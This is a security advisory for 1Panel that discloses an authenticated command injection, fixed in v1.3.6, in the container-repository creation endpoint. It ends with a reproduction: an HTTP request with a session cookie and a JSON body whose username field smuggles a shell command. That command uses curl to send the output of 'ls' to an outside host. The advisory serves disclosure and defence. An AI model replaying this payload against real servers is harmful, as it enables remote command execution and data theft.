1Panel is an open source Linux server operation and maintenance management panel. Prior to version 1.3.6, an authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories. The vulnerability has been fixed in v1.3.6.

Affected: Go: github.com/1Panel-dev/1Panel

### Impact

The authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories.

1. Vulnerability analysis.

``` backend\app\api\v1\image_repo.go#create ``` 

``` backend\app\service\image_repo.go#CheckConn ``` 

2. vulnerability reproduction.

``` POST /api/v1/containers/repo HTTP/1.1 Host: 192.168.109.152:40982 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-CSRF-TOKEN: Content-Length: 446 Origin: http://192.168.109.152:40982 Connection: close Referer: http://192.168.109.152:40982/containers/repo Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e ```

``` {"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`ls`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"} ```…